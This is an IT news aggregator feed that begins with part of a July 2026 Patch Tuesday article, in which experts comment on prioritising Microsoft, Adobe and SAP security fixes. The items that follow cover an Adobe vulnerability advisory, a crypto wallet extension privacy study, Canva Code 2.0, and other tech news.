<p class="wp-block-paragraph">There are also important security updates for Microsoft Defender, Bicer added, noting that vulnerabilities affecting endpoint protection software deserve immediate attention because successful exploitation undermines one of the organization’s primary defensive controls.</p>



<h2 class="wp-block-heading">IT teams must prioritize</h2>



<p class="wp-block-paragraph"><a href="https://fsi.stanford.edu/people/andrew-j-grotto">AJ Grotto</a>, a research scholar at the Centre for International Security and Co-operation and former Senior White House Director for Cyber Policy, said that Microsoft’s July Patch Tuesday “is a stark reminder that security teams are now operating in an era of vulnerability volume and velocity. With 570 vulnerabilities patched, including three actively exploited zero-days, the biggest concern for CSOs isn’t just the number of flaws, but the concentration of risk around identity systems, collaboration platforms, and privilege escalation pathways. The actively exploited vulnerabilities in Active Directory Federation Services and SharePoint are especially concerning because they target technologies that sit at the center of enterprise trust and access.”</p>



<p class="wp-block-paragraph">He added, “for CSOs, the challenge is no longer just defending against threat actors, it’s keeping up with an accelerating cycle of vulnerabilities and updates across the Microsoft ecosystem in the AI era. Security leaders should think critically about diversifying their vendors to protect their enterprise and save time and money on patching an increasing list of bugs that nearly tripled month-over-month.”</p>



<p class="wp-block-paragraph">“While the sheer number of [Microsoft] vulnerabilities might seem alarming on the surface,” said <a href="https://www.linkedin.com/in/nicholasacarroll/">Nick Carroll</a> and <a href="https://www.linkedin.com/in/rainmbaker/">Rain Baker</a> of the Nightwing ShadowScout threat intelligence team, “this can actually be seen as a positive sign for enterprise security. It means vendors are finding and fixing flaws before adversaries can weaponize them en masse.”</p>



<p class="wp-block-paragraph">And <a href="https://www.fortra.com/profile/josh-taylor">Josh Taylor</a>, lead cybersecurity analyst at Fortra, noted that 26 of the Microsoft vulnerabilities have a CVSS base score above 9.0, and 13 of those sit at 9.8. “That matters,” he said, “but CVSS is still only one part of the risk story. The real triage problem this month is the mix of exploited issues, a publicly disclosed BitLocker flaw, and a massive concentration of vulnerabilities in Windows and Office.” </p>



<p class="wp-block-paragraph">He said, “for patching teams, this is the kind of month that rewards discipline. The right move is not panic, it is sequencing: put exploited issues and exposed infrastructure first, then let the normal validation process do its job.”</p>



<h2 class="wp-block-heading">Others increasing their patch cadence too</h2>



<p class="wp-block-paragraph"><a href="https://www.ivanti.com/blog/authors/chris-goettl">Chris Goettl</a>, vice-president of product management at Ivanti, noted many software vendors in addition to Microsoft are increasing their security update cadence. For example, Cisco Systems has just shifted to a risk-based, twice-monthly disclosure model (the first and third Wednesday of each month), Mozilla is on a near weekly security update march, and Oracle’s new Critical Security Patch Update (CSPU) program has been delivering targeted critical-severity fixes on the 3rd Tuesday of non-CPU months since May.</p>



<p class="wp-block-paragraph">Nightwing also noted that Adobe issued 12 separate security bulletins for products in its first twice-monthly bulletin. Administrators must treat today’s Priority 1 ColdFusion update (APSB26-82) with urgency, as it patches a critical 9.9 CVSS path traversal vulnerability (CVE-2026-48318). It’s one of 11 ColdFusion vulnerabilities patched. </p>



<p class="wp-block-paragraph">Additionally, retail and web administrators should immediately prioritize Adobe Commerce (APSB26-73), which resolves a 9.6 CVSS flaw allowing unrestricted uploads of dangerous file types (CVE-2026-48356).</p>



<h2 class="wp-block-heading">SAP vulnerabilities</h2>



<p class="wp-block-paragraph"><a href="https://pathlock.com/author/jonathan-stross/">Jonathan Stross</a>, senior product manager for cybersecurity research and innovation at Pathlock, said the most critical of the SAP fixes is Note 3747367, a memory corruption vulnerability in NetWeaver Application Server ABAP, with a CVSS score of 9.9. The vulnerability affects the ABAP Application Server, SAP Kernel, and frontend services tied to SAP GUI for HTML.</p>



<p class="wp-block-paragraph"> According to SAP, an authenticated attacker can trigger logical memory-management errors that may lead to unauthorized data access, data modification, or system unavailability. The likely attack scenario involves a compromised account or malicious insider abusing a crafted request that reaches the vulnerable code path. </p>



<p class="wp-block-paragraph">“Because a successful exploit can impact confidentiality, integrity, and availability at the platform level, while potentially destabilizing a core ABAP system, organizations should treat this as the highest-priority patch in the July release,” Stross said. </p>



<p class="wp-block-paragraph">Prioritize the critical ABAP kernel issue, plus the AppRouter request smuggling note, and the Commerce Cloud sample-credential issue first, he said, because these are the most likely to produce direct security impact in real environments.</p>



<p class="wp-block-paragraph">But do not treat the updated notes as noise, he added. The July overview includes three re-released items that still matter operationally, and this should be reflected in patch planning and change records. The attack surface is distributed: ABAP, Java, BTP, Commerce, SAProuter, UI5, and supporting libraries all appear in the same monthly cycle, so patching needs coordinated platform ownership.</p>



<p class="wp-block-paragraph"><a href="https://onapsis.com/post-author/thomas-fritsch/">Thomas Fritsch</a>, an SAP researcher at Onapsis, described the <a href="https://onapsis.com/blog/sap-security-patch-day-july-2026/">SAP Security notes</a> in detail and noted that SAP teams who can’t immediately install the NetWeaver memory corruption fix can, as a temporary workaround, disable all ICF nodes with a specific property in transaction SICF. However, since the workaround will disable opening transactions in SAP GUI for HTML, it is not an option for all customers and it is strongly recommended to install the patched ABAP Kernel version.</p>



<h2 class="wp-block-heading">Patching should become continuous</h2>



<p class="wp-block-paragraph">“AI is likely to expose new classes of weaknesses, and will introduce some of its own through AI-assisted development,” commented <a href="https://www.linkedin.com/in/thegenemoody/">Gene Moody</a>, Field CTO at Action1. “Logically, with that in mind, the future of updating must become more continuous, more adaptive, and less tied to a fixed calendar. Discovery will not follow business logic; it will be swift and unforgiving. We must accept that, and be just as diligent in our defense, because the cost of failure is higher than the inconvenience of change.” </p>



<p class="wp-block-paragraph">He added, “in my crystal ball, I see a future where Microsoft and others move steadily away from scheduled monthly patch cycles in favor of rolling updates for most security issues in as close to live time as they can be researched and released. That would be a win for the entire industry. Faster patch creation and delivery, paired with more agile practices on the customer side, would finally start to align patching with the pace of modern discovery and exploitation.” </p>



<p class="wp-block-paragraph">“What needs to happen is simple,” he said. “Patching on a calendar is no longer a safe assumption in today’s threat landscape. Patching where and when needed versus scheduled is the only path forward.”</p>
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<title><![CDATA[Multiple Vulnerabilities in Adobe Products Could Allow for Arbitrary Code Execution]]></title>
<description><![CDATA[Multiple vulnerabilities have been discovered in Adobe products, the most severe of which could allow for arbitrary code execution.Adobe After Effects is a digital visual effects and motion graphics application used for creating cinematic movie titles, transitions, and complex animation sequences...]]></description>
<link>https://tsecurity.de/de/3669076/sicherheitsluecken/multiple-vulnerabilities-in-adobe-products-could-allow-for-arbitrary-code-execution/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669076/sicherheitsluecken/multiple-vulnerabilities-in-adobe-products-could-allow-for-arbitrary-code-execution/</guid>
<pubDate>Tue, 14 Jul 2026 22:24:20 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Multiple vulnerabilities have been discovered in Adobe products, the most severe of which could allow for arbitrary code execution.</p><ul><li>Adobe After Effects is a digital visual effects and motion graphics application used for creating cinematic movie titles, transitions, and complex animation sequences.</li><li>Adobe Animate is a professional vector animation software used to design interactive animations and multimedia content for games, television, and websites.</li><li>Adobe Audition is a professional audio workstation and editing toolset designed for mixing, restoring, and precisely engineering audio content for film, broadcast, and podcasts.</li><li>Adobe Bridge is a powerful asset management tool that allows creative professionals to preview, organize, edit, and publish multiple creative assets efficiently across the Creative Cloud ecosystem.</li><li>Adobe ColdFusion is a commercial rapid web application development platform used to build and deploy dynamic web and mobile applications.</li><li>Adobe Commerce is an enterprise-level e-commerce platform that allows businesses to build, manage, and scale secure online storefronts for both B2B and B2C audiences.</li><li>Adobe Content Credentials SDK (Software Development Kit) is a developer toolset that allows applications to attach secure, tamper-evident metadata to digital content like images, video, and audio.</li><li>Adobe Creative Cloud Desktop Application is a central hub that allows users to download, update, and manage their Adobe software, manage cloud storage, and access shared creative assets and fonts.</li><li>Adobe Experience Manager (AEM) is an enterprise-grade digital experience platform that combines a Content Management System (CMS) and a Digital Asset Management (DAM) system.</li><li>Adobe Illustrator is the industry-standard vector graphics software used by designers to create scalable logos, icons, typography, and complex illustrations.</li><li>Adobe Media Encoder is a robust background processing application used to automate the ingest, transcoding, proxy creation, and output of video and audio files across various formats and devices.</li><li>Adobe Premiere Pro is a timeline-based, industry-leading video editing software program designed for professional filmmakers, broadcasters, and content creators.</li></ul><p>Successful exploitation of the most severe of these vulnerabilities could allow for arbitrary code execution in the context of the logged on user. Depending on the privileges associated with the user, an attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. Users whose accounts are configured to have fewer user rights on the system could be less impacted than those who operate with administrative user rights.</p>]]></content:encoded>
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<title><![CDATA[Studie zu Browser-Krypto-Wallets: Adressleaks und Cross-Site Tracking-Risiken]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Eine neue Untersuchung der KU Leuven zeigt, dass weit verbreitete Krypto-Wallet-Erweiterungen im Browser Adressen so preisgeben, dass sie sich zu einer Person verknüpfen lassen. Die Forschenden identifizieren fünf Datenschutzschwachstellen, darunter persistierendes Tracking...]]></description>
<link>https://tsecurity.de/de/3668935/it-security-nachrichten/studie-zu-browser-krypto-wallets-adressleaks-und-cross-site-tracking-risiken/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668935/it-security-nachrichten/studie-zu-browser-krypto-wallets-adressleaks-und-cross-site-tracking-risiken/</guid>
<pubDate>Tue, 14 Jul 2026 20:59:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-crypto-wallet-extensions-privacy-tracking.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" loading="lazy" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-crypto-wallet-extensions-privacy-tracking.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-crypto-wallet-extensions-privacy-tracking-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-crypto-wallet-extensions-privacy-tracking-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-crypto-wallet-extensions-privacy-tracking-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-crypto-wallet-extensions-privacy-tracking-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-crypto-wallet-extensions-privacy-tracking-120x120.jpg 120w" sizes="auto, (max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Eine neue Untersuchung der KU Leuven zeigt, dass weit verbreitete Krypto-Wallet-Erweiterungen im Browser Adressen so preisgeben, dass sie sich zu einer Person verknüpfen lassen. Die Forschenden identifizieren fünf Datenschutzschwachstellen, darunter persistierendes Tracking nach „Logout“ und die unbemerkte Wiederverknüpfung über eingebettete Frames. Besonders brisant: In dem Szenario geht es nicht um gestohlene […]</p>
<div><a href="https://www.it-boltwise.de/studie-zu-browser-krypto-wallets-adressleaks-und-cross-site-tracking-risiken.html">... den vollständigen Artikel <strong>»Studie zu Browser-Krypto-Wallets: Adressleaks und Cross-Site Tracking-Risiken«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/studie-zu-browser-krypto-wallets-adressleaks-und-cross-site-tracking-risiken.html">Studie zu Browser-Krypto-Wallets: Adressleaks und Cross-Site Tracking-Risiken</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
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<title><![CDATA[Nomad’s high-end phone accessories are up to 30 percent off]]></title>
<description><![CDATA[Premium phone accessory maker Nomad is celebrating its anniversary with discounts on its entire catalog of products. The sale will knocks off up to thirty percent off usual prices and will run through July 20th. We found some particularly good deals from the sale we’d like to draw your attention ...]]></description>
<link>https://tsecurity.de/de/3668695/it-nachrichten/nomads-high-end-phone-accessories-are-up-to-30-percent-off/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668695/it-nachrichten/nomads-high-end-phone-accessories-are-up-to-30-percent-off/</guid>
<pubDate>Tue, 14 Jul 2026 18:56:36 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Premium phone accessory maker Nomad is celebrating its anniversary with discounts on its entire catalog of products. The sale will knocks off up to thirty percent off usual prices and will run through July 20th. We found some particularly good deals from the sale we’d like to draw your attention to. Its Leather Mag Wallet […]]]></content:encoded>
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<title><![CDATA[Google Images Turns 25, Nano Banana Comes to AI Overviews]]></title>
<description><![CDATA[Google Images somehow celebrates its 25th anniversary this week. Has it really been that long? To celebrate, Google announced two new offerings, one of which brings AI image creation directly to AI Overviews inside of Google Search. Rolling out in the coming weeks on desktop in the US, Google has...]]></description>
<link>https://tsecurity.de/de/3668543/it-nachrichten/google-images-turns-25-nano-banana-comes-to-ai-overviews/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668543/it-nachrichten/google-images-turns-25-nano-banana-comes-to-ai-overviews/</guid>
<pubDate>Tue, 14 Jul 2026 18:05:04 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google Images somehow celebrates its 25th anniversary this week. Has it really been that long? To celebrate, Google announced two new offerings, one of which brings AI image creation directly to AI Overviews inside of Google Search. Rolling out in the coming weeks on desktop in the US, Google has created a browsable home for...</p>
<p>Read the original post: <a href="https://www.droid-life.com/2026/07/14/google-images-turns-25-nano-banana-comes-to-ai-overviews/">Google Images Turns 25, Nano Banana Comes to AI Overviews</a></p>]]></content:encoded>
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<title><![CDATA[Study of 85 Crypto Wallet Extensions Finds Address Leaks and Cross-Site Tracking Risks]]></title>
<description><![CDATA[Researchers at KU Leuven tested 85 of the most popular crypto wallets that run as browser extensions and found that the wallets themselves leak enough to link and track the people using them. The way these wallets talk to websites…
Read more →
The post Study of 85 Crypto Wallet Extensions Finds A...]]></description>
<link>https://tsecurity.de/de/3668127/it-security-nachrichten/study-of-85-crypto-wallet-extensions-finds-address-leaks-and-cross-site-tracking-risks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668127/it-security-nachrichten/study-of-85-crypto-wallet-extensions-finds-address-leaks-and-cross-site-tracking-risks/</guid>
<pubDate>Tue, 14 Jul 2026 15:38:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Researchers at KU Leuven tested 85 of the most popular crypto wallets that run as browser extensions and found that the wallets themselves leak enough to link and track the people using them. The way these wallets talk to websites…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/study-of-85-crypto-wallet-extensions-finds-address-leaks-and-cross-site-tracking-risks/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/study-of-85-crypto-wallet-extensions-finds-address-leaks-and-cross-site-tracking-risks/">Study of 85 Crypto Wallet Extensions Finds Address Leaks and Cross-Site Tracking Risks</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Canva launches Code 2.0, offering AI website building to every user — including free accounts]]></title>
<description><![CDATA[Canva on Tuesday launched Canva Code 2.0, a major upgrade to its AI-powered coding tool that lets users build interactive websites, apps, and experiences using plain-language prompts — and then edit the results as easily as tweaking a Canva presentation. The feature is now available to all of the...]]></description>
<link>https://tsecurity.de/de/3668119/it-nachrichten/canva-launches-code-20-offering-ai-website-building-to-every-user-including-free-accounts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668119/it-nachrichten/canva-launches-code-20-offering-ai-website-building-to-every-user-including-free-accounts/</guid>
<pubDate>Tue, 14 Jul 2026 15:32:52 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://www.canva.com/">Canva</a> on Tuesday launched <a href="https://www.canva.com/ai-code-generator/">Canva Code 2.0</a>, a major upgrade to its AI-powered coding tool that lets users build interactive websites, apps, and experiences using plain-language prompts — and then edit the results as easily as tweaking a Canva presentation. The feature is now available to all of the company's more than 265 million monthly users across every pricing tier, including free accounts.</p><p>The move is Canva's most aggressive push yet into the fast-growing "vibe coding" market, a category that barely existed 18 months ago but has already minted billion-dollar startups and reshaped how non-developers think about building software. But where rivals like <a href="https://lovable.dev/">Lovable</a>, <a href="https://replit.com/">Replit</a>, and <a href="https://bolt.new/">Bolt.new</a> have focused primarily on generating functional code from text prompts, Canva is making a different bet: that the real bottleneck isn't creating the code — it's making the output actually look good.</p><p>"Most vibe coding tools stop at functional — generating output that looks the same as everyone else's," Canva states in its announcement. "You might get a working prototype, but making it actually look like yours requires a complex editing surface, a separate design tool, a developer, or endless back-and-forth prompting that rarely lands where you want it.”</p><p>Danny Wu, Canva's Head of AI Products, framed the product's positioning in stark terms during an exclusive interview with VentureBeat ahead of the launch.</p><p>"We are deliberately targeting non-technical users," Wu said. "Canva Code isn't a tool we're building for developers. What we're trying to do is bring the power of AI coding — and really lightweight coding — into the Canva platform, while answering our users' requests for more interactivity, more customization, and more flexibility, from websites to interactive presentations."</p><h3><b>Canva Code 2.0 brings drag-and-drop editing, HTML import, and 75% faster generation to AI-built websites</b></h3><p>The update introduces several capabilities designed to collapse the distance between generating code and publishing a polished interactive experience. Users can now create Canva Code projects directly inside other design projects — embedding interactive elements within a whiteboard, presentation deck, or standalone page. <a href="https://www.canva.com/">Canva</a> has also added more than 50 new templates specifically designed for interactive designs, along with the ability to import raw HTML files from other AI coding tools and convert them into editable Canva designs.</p><p>The performance improvements are significant. Canva says it has reduced average code generation time by 75 percent and cut the median time from initial prompt to a published site by 30 percent. The company also reports that integrating <a href="https://www.canva.com/ai-code-generator/">Canva Code</a> into the broader Canva editor — allowing users to treat coded outputs like any other design element — has increased active Code users by 25 percent.</p><p>Perhaps the most distinctive feature is the editing experience itself. Unlike most AI coding platforms, which require users to re-prompt or modify raw code to make visual changes, <a href="https://www.canva.com/ai-code-generator/">Canva Code 2.0</a> lets users click directly into generated elements to change text, drag and drop images from Canva's built-in library of over 120 million templates and assets, update colors and fonts through a familiar toolbar, or select a specific element and refine it through conversational AI. Every output is fully interactive and automatically adapts to different screen sizes, with a built-in mobile preview.</p><p>Wu demonstrated the drag-and-drop editing during the interview, showing how a generated conference website could be modified in real time — swapping in photos, changing fonts to branded alternatives, and editing text directly on the canvas. "The key differentiator with Canva Code is the editability and the kindness of the outputs it generates," he said, though he noted one current limitation: "We don't support moving elements around. You still have to re-prompt for that."</p><h3><b>How Canva plans to compete with Lovable, Replit, and Bolt in the booming AI app builder market</b></h3><p>Canva's entry into vibe coding at this scale arrives at a pivotal moment for the category. According to <a href="https://www.useluminix.com/reports/industry-analysis/vibe-coding-tool-landscape-replit-v0-base44-bolt-lovable-vercel/source/0">market research published by Luminix AI in May 2026</a>, the vibe coding and AI app builder market has reached an estimated $4.7 billion in 2026, with projections pointing toward $12.3 billion by 2027 at roughly 38 percent compound annual growth. The research also estimates that AI-generated code now comprises approximately 41 percent of all code written globally — a figure that would have seemed inconceivable even two years ago.</p><p>The competitive landscape has grown ferocious. <a href="https://lovable.dev/dashboard">Lovable</a>, which focuses on conversational, design-forward app generation for non-technical founders, has achieved what may be the fastest revenue ramp in the category's history — reportedly reaching approximately $400 million in annual recurring revenue by early 2026, according to Luminix's analysis. <a href="https://replit.com/">Replit</a>, which transformed its browser-based IDE into a full vibe-coding engine through successive AI agent releases, has tripled its valuation to $9 billion and is targeting $1 billion in run-rate revenue by the end of 2026, per the same report. <a href="https://bolt.new/">Bolt.new</a>, which runs a full Node.js environment entirely in the browser, scaled from $4 million to $40 million in ARR within months of launching.</p><p>And then there is Canva, which brings something none of those platforms possess: a quarter-billion-user design ecosystem where brands, teams, and individuals already store their visual identities, collaborate on projects, and publish content.</p><p>Wu positioned <a href="https://bolt.new/">Canva Code</a> not as a direct competitor to these developer-focused tools but as something that fills a gap none of them have addressed. "A lot of the requests that we have been getting and the usage we're seeing is actually with using Canva Code not necessarily as just one artifact, but as part of an overall design, the visual communication they're trying to tell," Wu said. "Like when you have a sales deck, you're able to add a calculator, you're able to add a visualizer of what exactly your product does. That's something where an interactive slide can be worth a thousand pictures."</p><h3><b>Why Canva's HTML import feature could turn it into a 'finishing layer' for every AI coding tool</b></h3><p>One of the most strategically interesting features in <a href="https://bolt.new/">Canva Code 2.0</a> is its HTML import capability, which allows users to take code generated by any AI tool — including <a href="https://chatgpt.com/">ChatGPT</a>, <a href="http://claude.ai/">Claude</a>, <a href="https://lovable.dev/dashboard">Lovable</a>, or <a href="https://bolt.new/">Bolt</a> — and bring it into Canva as a fully editable design. The implication is unmistakable: Canva is positioning itself as the place where AI-generated code gets its finishing touches, regardless of where it was originally created.</p><p>When asked directly whether this amounts to positioning Canva as a "finishing layer on top of vibe coding," Wu offered a diplomatic but revealing response. "It's really a continuation of our goal to make all design as easy as possible," he said. "We've supported importing PDFs and translating them into docs, importing PowerPoint files — so in one way, it's an expansion of that. But in another way, it's really just listening to what our users want and making Canva both the most useful and the most compatible platform.”</p><p>He paused, then added: "It's not that we're deliberately positioning ourselves as a specific layer, say like a finishing layer after vibe coding. We just really want to make our platform the most accessible and the most pluggable."</p><p>That language — "most pluggable" — suggests a platform strategy that doesn't require Canva to win the AI code generation race outright. If Canva becomes the default destination for making AI-generated code look professional and on-brand, it captures value from the entire category regardless of which code generation engine users prefer. The strategy also echoes the broader import capabilities that already allow Canva to ingest PowerPoint decks and PDFs from competing platforms, gradually pulling users deeper into the Canva ecosystem without demanding they abandon existing workflows.</p><h3><b>What Canva Code can build — and where Danny Wu says it hits its limits</b></h3><p>Wu was notably candid about the product's boundaries — a refreshing departure from the typical Silicon Valley product launch. "Canva Code is great for anything that works as a front-end app, and it's especially good when you want to leverage data, data submissions, and interactivity at small to medium scale," he said. "I'll be honest about the limitations. Canva Code is probably not going to be suitable if you're trying to build a website with complex backends, or if you're handling hundreds of thousands of visitors per day."</p><p>This candor effectively draws a line between <a href="https://www.canva.com/ai-code-generator/">Canva Code</a> and the more ambitious platforms in the space. While Lovable and Replit are pushing toward full-stack application development — complete with databases, authentication, and production-grade hosting — Canva is deliberately limiting its scope to interactive front-end experiences at modest scale. The question is whether that's a strategic weakness or a disciplined focus. For the teachers, small business owners, and marketing teams that make up the bulk of Canva's user base, complex backends and high-traffic scalability are irrelevant concerns. What matters is whether they can create an interactive event page, a property listing website, or a classroom hub that looks professional and works on mobile — without hiring a developer or learning a new tool.</p><p>When asked about the AI models powering <a href="https://www.canva.com/ai-code-generator/">Canva Code</a>, Wu confirmed the company uses a combination of proprietary and third-party models, including those from OpenAI and Anthropic, but declined to specify the exact mix. "We don't share the exact mix, and it does change over time," he said. "We also route differently depending on what you're asking for and which model family we think is best for handling certain requests."</p><h3><b>Canva's AI acquisition spree — from Affinity to Leonardo.ai — now powers its vibe coding push</b></h3><p>Canva's broader AI infrastructure has been significantly bolstered by an acquisition strategy that has accelerated over the past two years. In March 2024, <a href="https://www.canva.com/newsroom/news/affinity/">the company acquired Affinity</a>, the British creative software suite popular with Mac users, in a deal that Bloomberg reported was valued at "<a href="https://www.bloomberg.com/news/articles/2024-03-26/canva-acquires-affinity-design-suite-in-push-to-rival-adobe">several hundred million pounds</a>." Canva at the time positioned the deal as a way to compete with Adobe's flagship products — Illustrator, Photoshop, and InDesign — by gaining ownership of Affinity's Designer, Photo, and Publisher applications.</p><p>Just four months later, Canva acquired <a href="http://leonardo.ai/">Leonardo.ai</a>, an Australian generative AI startup with over 19 million registered users and more than a billion images generated. Canva co-founder Cameron Adams said at the time that Leonardo.ai's technology would be integrated into Canva's Magic Studio generative AI suite.</p><p>Together with these acquisitions, <a href="https://www.canva.com/ai-code-generator/">Canva Code</a> is the company's attempt to layer interactive, code-driven capabilities on top of a visual design platform that has already been enhanced by professional-grade design tools and generative AI models. The company reports over 32 billion uses of its AI products to date — a staggering figure that underscores how deeply AI is now woven into everyday Canva workflows, even for users who may not think of themselves as using artificial intelligence.</p><h3><b>Six million sites published, but Canva's retention data remains an open question</b></h3><p>Canva's announcement highlights an impressive traction metric: users have created and published more than six million websites using Canva Code since the feature was first introduced a year ago. But the number deserves scrutiny.</p><p>Wu clarified in the interview that the six million figure represents published websites over the past year — meaning sites that were either made public or shared via password-protected or private links. "They may have published publicly, or behind a password, or as a private link. But that's the number of published websites," he said.</p><p>When asked about active retention — how many of those sites are still live and being maintained — Wu acknowledged the gap in his data. This is a meaningful distinction. In the vibe coding market, raw creation numbers can be misleading because the barrier to generating a site is so low. The more telling metric — which Canva does not yet provide — would be how many of those six million sites receive regular traffic or have been updated after initial publication.</p><p>The early use cases, however, suggest genuine utility beyond novelty. Educators and school administrators are using Canva Code to build classroom hubs, with one teacher creating bespoke webpages for each of their classrooms to keep students and parents updated on announcements. Small businesses, like Alt Marketing School, have built mini apps for fundraising training and interactive roadmaps for their members. For World Book Day, 50 readers created educational games across different subjects, complete with pedagogical guides for classroom use.</p><h3><b>Canva Code pricing, data governance, and what enterprise customers need to know</b></h3><p><a href="https://www.canva.com/ai-code-generator/">Canva Code 2.0</a> is available across all of Canva's pricing tiers, including its free plan — a notable decision given that competitors like Lovable, Bolt, and Replit reserve their most capable features for paid subscribers. "As you go from, say, free to pro to business to enterprise, you would get more AI credits and be able to have higher usage of Canva Code," Wu said. "But it is available and it is usable — even free Canva accounts as well as education and not-for-profit accounts."</p><p>This credit-based approach mirrors the pricing evolution happening across the entire vibe coding category, where platforms have converged on token or credit systems that meter AI generation capacity rather than gating features behind subscription tiers. The difference is that Canva's free tier serves as an acquisition funnel for a much larger design platform, not just for the coding feature itself.</p><p>For the institutional customers Canva increasingly courts — school districts, real estate brokerages, enterprise marketing teams — data governance is a threshold concern. Wu addressed this directly. "All users and customers have full control over how their data is used," he said. "They can choose whether their prompts and data are used for AI training in the settings. For businesses and enterprises, team admins can manage this at the organizational level and guarantee that their inputs, content, and outputs won't be used for training." This opt-out approach reflects a lesson the broader industry has learned the hard way. As The Verge reported when Canva acquired Leonardo.ai, Adobe suffered significant backlash over a policy update regarding user data and AI model training — a controversy Canva appears keen to avoid.</p><h3><b>Canva's long-term vision: closing the gap between imagination and what non-technical users can actually build</b></h3><p>When asked where <a href="https://www.canva.com/ai-code-generator/">Canva Code</a> fits into the company's long-term trajectory — and whether Canva is building toward a full-stack app development platform — Wu steered the conversation back to the company's core audience.</p><p>"A huge part of it is reducing the gap between your imagination and what's possible, especially for everyday users — people who don't have a lot of time," he said. "They don't have time to figure out deploys or MCPs or APIs. They just want to design more interactive and more dynamic communication."</p><p>He pointed to the rapid improvement in AI model capabilities as a key accelerant. "The kind of things you can create today in one shot — like a 3D visualization of a solar system — you really couldn't have trusted the output a year ago. But today, you have a really high success rate."</p><p>Whether <a href="https://www.canva.com/ai-code-generator/">Canva Code</a> becomes a durable product category or a feature that gets absorbed into the platform's broader AI workflow will depend on how quickly the company can close the gap between its current front-end focus and the full-stack capabilities that increasingly define the competition. Lovable is shipping Supabase-backed apps with authentication and databases built in. Replit's agents can execute autonomous long-running builds. Bolt.new runs entire Node.js environments in a browser tab. These are fundamentally different ambitions than making a conference landing page look good.</p><p>But Canva has never won by matching the technical depth of its competitors. A decade ago, it didn't try to out-feature Adobe — it made design accessible to the 99 percent of people who would never open Photoshop. Now, in a vibe coding market where every tool can generate a working prototype from a prompt, Canva is making the same wager it made in 2012: that for most people, the hardest part was never the building. It was making it look like it came from you.</p>]]></content:encoded>
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<title><![CDATA[Study of 85 Crypto Wallet Extensions Finds Address Leaks and Cross-Site Tracking Risks]]></title>
<description><![CDATA[Researchers at KU Leuven tested 85 of the most popular crypto wallets that run as browser extensions and found that the wallets themselves leak enough to link and track the people using them.

The way these wallets talk to websites and blockchain servers can tie a person's separate addresses toge...]]></description>
<link>https://tsecurity.de/de/3668069/it-security-nachrichten/study-of-85-crypto-wallet-extensions-finds-address-leaks-and-cross-site-tracking-risks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668069/it-security-nachrichten/study-of-85-crypto-wallet-extensions-finds-address-leaks-and-cross-site-tracking-risks/</guid>
<pubDate>Tue, 14 Jul 2026 15:24:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Researchers at KU Leuven tested 85 of the most popular crypto wallets that run as browser extensions and found that the wallets themselves leak enough to link and track the people using them.

The way these wallets talk to websites and blockchain servers can tie a person's separate addresses together and let outsiders follow them from site to site. And on a site that already holds a name or]]></content:encoded>
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<title><![CDATA[Anthony Albanese promises fast-track approvals for datacentres to shore up AI investment]]></title>
<description><![CDATA[PM to declare Australia the first country worldwide to bring economic, social, security and environmental issues from AI under single office in major speechGet our breaking news email, free app or daily news podcastAnthony Albanese says the federal government will introduce faster approval proces...]]></description>
<link>https://tsecurity.de/de/3667943/ai-nachrichten/anthony-albanese-promises-fast-track-approvals-for-datacentres-to-shore-up-ai-investment/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667943/ai-nachrichten/anthony-albanese-promises-fast-track-approvals-for-datacentres-to-shore-up-ai-investment/</guid>
<pubDate>Tue, 14 Jul 2026 14:37:17 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
